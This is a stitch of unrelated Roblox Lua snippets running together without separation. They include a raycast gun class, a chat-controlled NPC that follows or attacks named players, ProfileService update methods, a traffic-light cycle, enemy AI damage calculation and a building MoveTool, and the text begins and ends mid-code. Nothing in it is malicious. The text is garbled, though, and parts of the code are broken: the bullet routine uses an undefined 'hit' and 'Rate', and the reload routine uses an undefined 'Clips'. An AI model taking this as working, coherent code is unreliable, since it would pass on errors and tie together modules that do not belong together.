0.33) tshell.BrickColor=BrickColor.new('Bright yellow') local tshellmesh=WaitForChild(script.Parent,'BulletMesh'):Clone() tshellmesh.Parent=tshell self.ShellPart = tshell self.DownVal.Changed:connect(function() while self.DownVal.Value and self.check and not self.Reloading do self.check = false local humanoid = self.Tool.Parent:FindFirstChild("Humanoid") local plr1 = game.Players:GetPlayerFromCharacter(self.Tool.Parent) if humanoid ~= nil and plr1 ~= nil then if humanoid.Health > 0 then local spos1 = (self.Tool.Handle.CFrame * self.BarrelPos).p delay(0, function() self:SendBullet(spos1, self.AimVal.Value, self.Spread, self.SegmentLength, self.Tool.Parent, self.Colors[1], self.GunDamage, self.FadeDelayTime) end) else self.check = true break end else self.check = true break end wait(self.FireRate) self.check = true if not self.Automatic then break end end end) self.ReloadingVal.Changed:connect(function() if self.ReloadingVal.Value then self:Reload() end end) end function GunObject:Reload() self.Reloading = true self.ReloadingVal.Value = true if self.Clips ~= nil then if self.Clips.Value > 0 then self.Clips.Value = Clips.Value - 1 else self.Reloading = false self.ReloadingVal.Value = false return end end self.Tool.Handle.Reload:Play() for i = 1, self.ClipSize do wait(self.ReloadTime/self.ClipSize) self.Ammo.Value = i end self.Reloading = false self.Tool.Reloading.Value = false end function GunObject:SpawnShell() local tshell=self.ShellPart:Clone() tshell.CFrame=self.Handle.CFrame tshell.Parent=Workspace game.Debris:AddItem(tshell,2) end function KnockOffHats(tchar) for _,i in pairs(tchar:GetChildren()) do if i:IsA('Hat') then i.Parent=game.Workspace end end end function KnockOffTool(tchar) for _,i in pairs(tchar:GetChildren()) do if i:IsA('Tool') then i.Parent=game.Workspace end end end function GunObject:SendBullet(boltstart, targetpos, fuzzyness, SegmentLength, ignore, clr, damage, fadedelay) if self.Ammo.Value <=0 then return end self.Ammo.Value = self.Ammo.Value - 1 self:SpawnShell() self.Fire.Pitch = (math.random() * .5) + .75 self.Fire:Play() self.DoFireAni.Value = not self.DoFireAni.Value print(self.Fire.Pitch) local boltdist = self.Range local clickdist = (boltstart - targetpos).magnitude local targetpos = targetpos + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * (clickdist/100)) local boltvec = (targetpos - boltstart).unit local totalsegments = math.ceil(boltdist/SegmentLength) local lastpos = boltstart for i = 1, totalsegments do local newpos = (boltstart + (boltvec * (boltdist * (i/totalsegments)))) local segvec = (newpos - lastpos).unit local boltlength = (newpos - lastpos).magnitude local bolthit, endpos = CastRay(lastpos, segvec, boltlength, ignore, false) DrawBeam(lastpos, endpos, clr, fadedelay, self.LaserObj) if bolthit ~= nil then local h = bolthit.Parent:FindFirstChild("Humanoid") if h ~= nil then local plr = game.Players:GetPlayerFromCharacter(self.Tool.Parent) if plr ~= nil then local creator = Instance.new("ObjectValue") creator.Name = "creator" creator.Value = plr creator.Parent = h end if hit.Parent:FindFirstChild("BlockShot") then hit.Parent:FindFirstChild("BlockShot"):Fire(newpos) delay(0, function() self:HitEffect(endpos, bolthit,5) end) else if(hit.Name=='Head') then KnockOffHats(hit.Parent) end if GoreOn then delay(0,function() self:HitEffect(endpos, bolthit,20) end) end if not GLib.IsTeammate(GLib.GetPlayerFromPart(script), GLib.GetPlayerFromPart(h)) then GLib.TagHumanoid(GLib.GetPlayerFromPart(script), h, 1) h:TakeDamage(damage) end end else delay(0, function() self:HitEffect(endpos, bolthit,5) end) end break end lastpos = endpos wait(Rate) end if self.Ammo.Value < 1 then self:Reload() end end function GunObject:MakeSpark(pos,p) local effect=self.SparkEffect:Clone() effect.BrickColor = p.BrickColor effect.Material = p.Material effect.Transparency = p.Transparency effect.Reflectance = p.Reflectance effect.CFrame = CFrame.new(pos) effect.Parent = game.Workspace local effectVel = Instance.new("BodyVelocity") effectVel.maxForce = Vector3.new(99999, 99999, 99999) effectVel.velocity = Vector3.new(math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10))) effectVel.Parent = effect effect.Size = Vector3.new(math.abs(effectVel.velocity.x)/30, math.abs(effectVel.velocity.y)/30, math.abs(effectVel.velocity.z)/30) wait() effectVel:Destroy() local effecttime = .5 game.Debris:AddItem(effect, effecttime * 2) local startTime = time() while time() - startTime < effecttime do if effect ~= nil then effect.Transparency = (time() - startTime)/effecttime end wait() end if effect ~= nil then effect.Parent = nil end end function GunObject:HitEffect(pos,p,numSparks) for i = 0, numSparks, 1 do Spawn(function() self:MakeSpark(pos,p) end) end end
--[[** ensures Roblox PhysicalProperties type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.PhysicalProperties = t.typeof("PhysicalProperties")
-- connect events -----------------------------------------------------------------------------------------------------------------------
function unequip() local items=script.Parent:children() for i=1, #items do if items[i].className=="Tool" then items[i]:remove() end end end function onChatted(msg, recipient) msg = string.lower(msg) if string.match(msg, string.lower(script.Parent.Name))~=nil or string.match(msg, "everyone") then if string.match(msg, "equip") then if game.Workspace:findFirstChild("Hub") then if string.match(msg, "rocket") then unequip() game.Workspace.Hub.Rocket:clone().Parent=script.Parent elseif string.match(msg, "slingshot") then unequip() game.Workspace.Hub.Slingshot:clone().Parent=script.Parent elseif string.match(msg, "sword") then unequip() game.Workspace.Hub.Sword:clone().Parent=script.Parent elseif string.match(msg, "pbg") then unequip() game.Workspace.Hub.PBG:clone().Parent=script.Parent elseif string.match(msg, "superball") then unequip() game.Workspace.Hub.Superball:clone().Parent=script.Parent elseif string.match(msg, "trowel") then unequip() game.Workspace.Hub.Trowel:clone().Parent=script.Parent elseif string.match(msg, "bomb") then unequip() game.Workspace.Hub.Bomb:clone().Parent=script.Parent end end end if string.match(msg, "unequip") then unequip() end if string.match(msg, "run") then onRunning(1) end if string.match(msg, "climb") then onClimbing() end if string.match(msg, "jump") then onJumping() end if string.match(msg, "zombie") then pose="Zombie" end if string.match(msg, "disco") then pose="Boogy" end if string.match(msg, "float") then pose="Float" end if string.match(msg, "punch") then pose="Punch" end if string.match(msg, "kick") then pose="Kick" end if string.match(msg, "fly") then pose="Fly" end if string.match(msg, "heal") then script.Parent.Humanoid.Health=script.Parent.Humanoid.MaxHealth end if string.match(msg, "defend") then defence() end if string.match(msg, "stop") then pose="Standing"; proxkill=false; following=false; stopmoving() end if string.match(msg, "go home") then following=false; gohome() end if string.match(msg, "follow") then if string.match(msg, "all") then followany() else local egg=game.Players:children() for i=1, #egg do if string.match(msg, string.lower(egg[i].Name)) then follow(egg[i].Name) return end end end end if string.match(msg, "kill") then if string.match(msg, "all") then attackany() else local egg=game.Players:children() for i=1, #egg do if string.match(msg, string.lower(egg[i].Name)) then attack(egg[i].Name) return end end end end end end if game.Players.NumPlayers>1 then x=game.Players:children() for i=1, #x do if script.Parent:findFirstChild("Commander")~=nil then if script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then local ch=script.Parent.Commander:children() for i=1, #ch do if string.lower(ch[i].Name)==string.lower(x[i].Name) then x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end end elseif string.lower(script.Parent.Commander.Value)==string.lower(x[i].Name) then x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end else x[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end end end function onPlayerEntered(Player) while Player.Name==nil do wait(2) end if script.Parent:findFirstChild("Commander")~=nil then if script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then local ch=script.Parent.Commander:children() for i=1, #ch do if string.lower(ch[i].Name)==string.lower(Player.Name) then Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end end elseif string.lower(script.Parent.Commander.Value)==string.lower(Player.Name) then Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end else Player.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) end end game.Players.ChildAdded:connect(onPlayerEntered)
--[[ A special key for property tables, which allows users to extract values from an instance into an automatically-updated Value object. ]]
local Package = script.Parent.Parent local parseError = require(Package.Dependencies).utility.parseError local xtypeof = require(Package.ObjectUtility).xtypeof local function Out(propertyName: string) local outKey = {} outKey.type = "SpecialKey" outKey.kind = "Out" outKey.stage = "observer" function outKey:apply(outState: any, applyTo: Instance, cleanupTasks: {}) local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName) if not ok then parseError("invalidOutProperty", nil, applyTo.ClassName, propertyName) elseif xtypeof(outState) ~= "State" or outState.kind ~= "Value" then parseError("invalidOutType") else outState:set((applyTo :: any)[propertyName]) table.insert( cleanupTasks, event:Connect(function() outState:set((applyTo :: any)[propertyName]) end) ) table.insert(cleanupTasks, function() outState:set(nil) end) end end return outKey end return Out
-- The currently idle thread to run the next handler on
local freeRunnerThread: thread? = nil
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "u" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 limitButton.Text = "Free Camera" wait(3) limitButton.Text = "" elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 limitButton.Text = "FPV Camera" wait(3) limitButton.Text = "" elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 limitButton.Text = "Standard Camera" wait(3) limitButton.Text = "" end end end)
-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
function GlobalUpdates:AddActiveUpdate(update_data) if type(update_data) ~= "table" then error("[ProfileService]: Invalid update_data") end if self._new_active_update_listeners ~= nil then error("[ProfileService]: Can't add active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()") elseif self._update_handler_mode ~= true then error("[ProfileService]: Can't add active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()") end -- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}} local updates_latest = self._updates_latest local update_index = updates_latest[1] + 1 -- Incrementing global update index updates_latest[1] = update_index -- Add new active global update: table.insert(updates_latest[2], {update_index, 1, false, update_data}) end function GlobalUpdates:ChangeActiveUpdate(update_id, update_data) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id") end if type(update_data) ~= "table" then error("[ProfileService]: Invalid update_data") end if self._new_active_update_listeners ~= nil then error("[ProfileService]: Can't change active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()") elseif self._update_handler_mode ~= true then error("[ProfileService]: Can't change active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()") end -- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}} local updates_latest = self._updates_latest local get_global_update = nil for _, global_update in ipairs(updates_latest[2]) do if update_id == global_update[1] then get_global_update = global_update break end end if get_global_update ~= nil then if get_global_update[3] == true then error("[ProfileService]: Can't change locked global update") end get_global_update[2] = get_global_update[2] + 1 -- Increment version id get_global_update[4] = update_data -- Set new global update data else error("[ProfileService]: Passed non-existant update_id") end end function GlobalUpdates:ClearActiveUpdate(update_id) if type(update_id) ~= "number" then error("[ProfileService]: Invalid update_id argument") end if self._new_active_update_listeners ~= nil then error("[ProfileService]: Can't clear active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()") elseif self._update_handler_mode ~= true then error("[ProfileService]: Can't clear active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()") end -- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}} local updates_latest = self._updates_latest local get_global_update_index = nil local get_global_update = nil for index, global_update in ipairs(updates_latest[2]) do if update_id == global_update[1] then get_global_update_index = index get_global_update = global_update break end end if get_global_update ~= nil then if get_global_update[3] == true then error("[ProfileService]: Can't clear locked global update") end table.remove(updates_latest[2], get_global_update_index) -- Remove active global update else error("[ProfileService]: Passed non-existant update_id") end end
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent hammer = Tool["Left Leg"] while true do wait(math.random(4,15)) local damm = script.Parent.Head.Deadly:Clone() pos = script.Parent["Right Leg"].Position-Vector3.new(0,10,0) local shockRing = Instance.new("Part") shockRing.formFactor = 2 shockRing.Size = Vector3.new(1, 0.4, 1) shockRing.Anchored = true shockRing.Locked = true shockRing.CanCollide = false shockRing.archivable = false shockRing.TopSurface = 0 shockRing.BottomSurface = 0 shockRing.Transparency = 1 damm.Parent = shockRing local decal = Instance.new("Decal") decal.Face = 1 decal.Texture = "http://www.roblox.com/asset/?version=1&id=1280730" decal.Parent = shockRing local bottomDecal = decal:Clone() bottomDecal.Face = 4 bottomDecal.Parent = shockRing shockRing.CFrame = CFrame.new(pos) for x = 1, 29 do delay(x / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(6.4, 0, 6.4) * x shockRing.Parent = Tool end) end delay(1, function() shockRing.Parent = nil end) hammer.Boom:Play() end
--
function Triangle:SetParent(parent) self.Beam.Parent = parent self.Attachment0.Parent = parent self.Attachment1.Parent = parent self.Parent = parent end function Triangle:SetBeamProperties(properties) for prop, value in next, properties do self.Beam[prop] = value end end function Triangle:Draw(a, b, c) a = a or self.a b = b or self.b c = c or self.c self.a = a self.b = b self.c = c local ab, ac, bc = b - a, c - a, c - b local abd, acd, bcd = ab:Dot(ab), ac:Dot(ac), bc:Dot(bc) if (abd > acd and abd > bcd) then c, a = a, c elseif (acd > bcd and acd > abd) then a, b = b, a end ab, ac, bc = b - a, c - a, c - b local normal = ab:Cross(ac).Unit local height = normal:Cross(ab).Unit local parentInv = self.Parent.CFrame:Inverse() self.Attachment0.CFrame = parentInv * CFrame.fromMatrix((a + b)/2, height, ab, normal) self.Attachment1.CFrame = parentInv * CFrame.new(c) self.Beam.Width0 = (a - b).Magnitude end
-- constants
local CUSTOMIZATION = ReplicatedStorage.Customization local PLAYER_DATA = ReplicatedStorage.PlayerData local REMOTES = ReplicatedStorage.Remotes local MAX_SLOTS = 5 local SLOT_SIZE = 30
-- Update camera if it changes
workspace.Changed:connect(function (p) if p == "CurrentCamera" then camera = workspace.CurrentCamera end end)
--[[ @brief Runs all currently queued functions. --]]
function FunctionQueue:Dispatch() for i, v in pairs(self._Functions) do local f = v[1]; local args = v[2]; local co = coroutine.create(f); local success, error = coroutine.resume(co, unpack(args)); if not success then Log.Warn("Function %s terminated with an error: %s", f, error); end end self._Functions = {}; end
-- WorldSize -> ScreenSize
function ScreenSpace.WorldWidthToScreenWidth(worldWidth, depth) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx = ScreenSpace.ViewSizeX() -- return -(worldWidth * sx) / (2 * wfactor * depth) end function ScreenSpace.WorldHeightToScreenHeight(worldHeight, depth) local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2) local sy = ScreenSpace.ViewSizeY() -- return -(worldHeight * sy) / (2 * hfactor * depth) end
---------------------------------------------------------------| ---------------------------------------------------------------| ---------------------------------------------------------------|
local Debris = game.Debris local Engine = game.ReplicatedStorage:WaitForChild("ACS_Engine") local Evt = Engine:WaitForChild("Events") local ServerConfig = require(Engine.GameRules:WaitForChild("Config")) local Settings = script.Parent.ACS_Modulo:WaitForChild("Config") local Weapon = script.Parent:FindFirstChildOfClass("Tool") local WeaponData = require(Weapon:WaitForChild("ACS_Settings")) local ACS_Storage = workspace:WaitForChild("ACS_WorkSpace") local Modules = Engine:WaitForChild("Modules") local Hitmarker = require(Modules:WaitForChild("Hitmarker")) local Ragdoll = require(Modules:WaitForChild("Ragdoll")) local Ignore_Model = ACS_Storage:FindFirstChild("Server") local BulletModel = ACS_Storage:FindFirstChild("Client") local Ray_Ignore = {Ignore_Model, BulletModel, ACS_Storage} local Dead = false task.wait(3) script.Parent.ForceField:Destroy() script.Parent.Humanoid.Died:connect(function() Ragdoll(script.Parent) if script.Parent:FindFirstChild("Gun") ~= nil then script.Parent.Gun.CanCollide = true end Dead = true Debris:AddItem(script.Parent,game.Players.RespawnTime) end) local CanSee = false local CurrentPart = nil function onTouched(hit) if hit.Parent == nil then return end local humanoid = hit.Parent:findFirstChild("Humanoid") if humanoid == nil then CurrentPart = hit end end function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do --print(childName) child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Humanoid = waitForChild(Figure, "Humanoid") local Torso = waitForChild(Figure, "Torso") local Left = waitForChild(Figure, "Left Leg") local Right = waitForChild(Figure, "Right Leg") Left.Touched:connect(onTouched) Right.Touched:connect(onTouched) function getHumanoid(model) for _, v in pairs(model:GetChildren())do if v:IsA'Humanoid' then return v end end end local zombie = script.Parent local human = getHumanoid(zombie) local hroot = zombie.Torso local head = zombie:FindFirstChild'Head' local pfs = game:GetService("PathfindingService") local players = game:GetService('Players') local RecoilSpread = Spread/100 local perception = 0 local Memory = 0 task.wait(.1) local ammo=Settings.Ammo.Value -- How much ammo the Enemy has local w=.14 local RPM = 1/(WeaponData.ShootRate/60) local r=false local t=script.Parent local h=t:WaitForChild'Grip' function Hitmaker(HitPart, Position, Normal, Material) Evt.HitEffect:FireAllClients(nil, Position, HitPart, Normal, Material, WeaponData) end function CheckForHumanoid(L_225_arg1) local L_226_ = false local L_227_ = nil if L_225_arg1 then if (L_225_arg1.Parent:FindFirstChild("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_226_ = true if L_225_arg1.Parent:FindFirstChild('Humanoid') then L_227_ = L_225_arg1.Parent.Humanoid elseif L_225_arg1.Parent.Parent:FindFirstChild('Humanoid') then L_227_ = L_225_arg1.Parent.Parent.Humanoid end else L_226_ = false end end return L_226_, L_227_ end function CalcularDano(DanoBase,Dist,Vitima,Type) local damage = 0 local VestDamage = 0 local HelmetDamage = 0 local Traveleddamage = DanoBase-(math.ceil(Dist)/40)*WeaponData.DamageFallOf if Vitima.Parent:FindFirstChild("Saude") ~= nil then local Vest = Vitima.Parent.Saude.Protecao.VestVida local Vestfactor = Vitima.Parent.Saude.Protecao.VestProtect local Helmet = Vitima.Parent.Saude.Protecao.HelmetVida local Helmetfactor = Vitima.Parent.Saude.Protecao.HelmetProtect if Type == "Head" then if Helmet.Value > 0 and (WeaponData.BulletPenetration) < Helmetfactor.Value then damage = Traveleddamage * ((WeaponData.BulletPenetration)/Helmetfactor.Value) HelmetDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Helmetfactor.Value)) if HelmetDamage <= 0 then HelmetDamage = 0.5 end elseif Helmet.Value > 0 and (WeaponData.BulletPenetration) >= Helmetfactor.Value then damage = Traveleddamage HelmetDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Helmetfactor.Value)) if HelmetDamage <= 0 then HelmetDamage = 1 end elseif Helmet.Value <= 0 then damage = Traveleddamage end else if Vest.Value > 0 and (WeaponData.BulletPenetration) < Vestfactor.Value then damage = Traveleddamage * ((WeaponData.BulletPenetration)/Vestfactor.Value) VestDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Vestfactor.Value)) if VestDamage <= 0 then VestDamage = 0.5 end elseif Vest.Value > 0 and (WeaponData.BulletPenetration) >= Vestfactor.Value then damage = Traveleddamage VestDamage = (Traveleddamage * ((100 - WeaponData.BulletPenetration)/Vestfactor.Value)) if VestDamage <= 0 then VestDamage = 1 end elseif Vest.Value <= 0 then damage = Traveleddamage end end else damage = Traveleddamage end if damage <= 0 then damage = 1 end return damage,VestDamage,HelmetDamage end function Damage(VitimaHuman,Dano,DanoColete,DanoCapacete) if VitimaHuman.Parent:FindFirstChild("Saude") ~= nil then local Colete = VitimaHuman.Parent.Saude.Protecao.VestVida local Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida Colete.Value = Colete.Value - DanoColete Capacete.Value = Capacete.Value - DanoCapacete end VitimaHuman:TakeDamage(Dano) end local function reload(boo) if(boo and ammo ~= Settings.Ammo.Value)or ammo==0 then r=true if w then w=.03 end h.Reload:Play() task.wait(3) -- How long the Enemy reloads ammo= Settings.Ammo.Value if w then w=.14 end r=false elseif boo then task.wait(.1) end end local function near() if not Dead then local dis,pl= Settings.ShotDistance.Value ,nil -- Range of the Enemy for _,v in ipairs(game.Players:GetPlayers())do if v.Character and v.Character:FindFirstChild'Humanoid'and v:DistanceFromCharacter(h.Position)<dis then dis,pl=v:DistanceFromCharacter(h.Position),v end end if pl then return pl.Character:GetModelCFrame(),dis,CFrame.new(pl.Character.Humanoid.WalkToPoint).lookVector else return nil end end end
-- float rd_flt_le(string src, int s) -- @src - Source binary string -- @s - Start index of little endian float
local function rd_flt_le(src, s) return rd_flt_basic(string.byte(src, s, s + 3)) end
--[[ Constants used throughout the testing framework. ]]
local TestEnum = {} TestEnum.TestStatus = { Success = "Success", Failure = "Failure", Skipped = "Skipped" } TestEnum.NodeType = { Describe = "Describe", It = "It", BeforeAll = "BeforeAll", AfterAll = "AfterAll", BeforeEach = "BeforeEach", AfterEach = "AfterEach" } TestEnum.NodeModifier = { None = "None", Skip = "Skip", Focus = "Focus" } return TestEnum
-- update whether the character is running or not
humanoid.Running:Connect(function(speed) if speed <= .3 then isrunning = false else isrunning = true end end)
--
if(show_ammo == true) then PS.Ammo.ATG.Text = " Minigun Bullets: ".. minigun.total PS.Ammo.HM.Text = " Hydra Missile: Left: "..hydra.left..", Right: "..hydra.right PS.Ammo.Visible = true elseif(show_ammo == false) then PS.Ammo.Visible = false end
---------------------------------------------
SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 1 PedValues.PedSignal2a.Value = 1 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL1 GREEN) SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 2 PedValues.PedSignal2a.Value = 2 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED end
-----------------------------------------ONLY EDIT THESE VALUES!!!!!----------------------------------------- -----!Instructions!----- --Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.-- --Just place this script into any gun and edit the values below.-- --Editting anything else will risk breaking it.-- ------------------------
Damage = 20 SPS = 15 -- Shots Per Second, gives a limit of how fast the gun shoots. Recoil = 3 -- [1-10] [1 = Minigun, 10 = Sniper] WallShoot = false -- Shoots through walls. GH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.] BulletColor = "Cool yellow" -- Any Brickcolor will work. Flash = true
-- ================================================================================ -- Settings - Splinter -- ================================================================================
local Settings = {} Settings.DefaultSpeed = 555 -- Speed when not boosted [Studs/second, Range 50-300] Settings.BoostSpeed = 1567 -- Speed when boosted [Studs/second, Maximum: 400] Settings.BoostAmount = 1.5 -- Duration of boost in seconds Settings.Steering = 15 -- How quickly the speeder turns [Range: 1-10]
-- Initialize tool subsystems
MoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging') .new(MoveTool) MoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging') .new(MoveTool) MoveTool.UIController = require(script:WaitForChild 'UIController') .new(MoveTool) function MoveTool:Equip() -- Enables the tool's equipped functionality -- Set our current axis mode self:SetAxes(self.Axes) -- Start up our interface self.UIController:ShowUI() self:BindShortcutKeys() self.FreeDragging:EnableDragging() end function MoveTool:Unequip() -- Disables the tool's equipped functionality -- If dragging, finish dragging if self.FreeDragging.IsDragging then self.FreeDragging:FinishDragging() end -- Disable dragging ContextActionService:UnbindAction 'BT: Start dragging' -- Clear unnecessary resources self.UIController:HideUI() self.HandleDragging:HideHandles() self.Maid:Destroy() BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end function MoveTool:SetAxes(AxisMode) -- Sets the given axis mode -- Update setting self.Axes = AxisMode self.AxesChanged:Fire(self.Axes) -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For global mode, use bounding box handles if AxisMode == 'Global' then BoundingBox.StartBoundingBox(function (BoundingBox) self.HandleDragging:AttachHandles(BoundingBox) end) -- For local mode, use focused part handles elseif AxisMode == 'Local' then self.HandleDragging:AttachHandles(Selection.Focus, true) -- For last mode, use focused part handles elseif AxisMode == 'Last' then self.HandleDragging:AttachHandles(Selection.Focus, true) end end function MoveTool:MovePartsAlongAxesByFace(Face, Distance, InitialStates, InitialFocusCFrame) -- Moves the given parts in `InitialStates`, along the given axis mode, in the given face direction, by the given distance -- Calculate the shift along the direction of the face local Shift = Vector3.FromNormalId(Face) * Distance -- Move along global axes if self.Axes == 'Global' then for Part, InitialState in pairs(InitialStates) do Part.CFrame = InitialState.CFrame + Shift end -- Move along individual items' axes elseif self.Axes == 'Local' then for Part, InitialState in pairs(InitialStates) do Part.CFrame = InitialState.CFrame * CFrame.new(Shift) end -- Move along focused item's axes elseif self.Axes == 'Last' then -- Calculate focused item's position local FocusCFrame = InitialFocusCFrame * CFrame.new(Shift) -- Move parts based on initial offset from focus for Part, InitialState in pairs(InitialStates) do local FocusOffset = InitialFocusCFrame:toObjectSpace(InitialState.CFrame) Part.CFrame = FocusCFrame * FocusOffset end end end function MoveTool:BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped self.Maid.HotkeyStart = UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) if GameProcessedEvent then return end -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current axis mode if self.Axes == 'Global' then self:SetAxes('Local') elseif self.Axes == 'Local' then self:SetAxes('Last') elseif self.Axes == 'Last' then self:SetAxes('Global') end -- Check if the R key was pressed down, and it's not the selection clearing hotkey elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then -- Start tracking snap points nearest to the mouse self:StartSnapping() -- Nudge up if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then self:NudgeSelectionByFace(Enum.NormalId.Top) -- Nudge down if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == 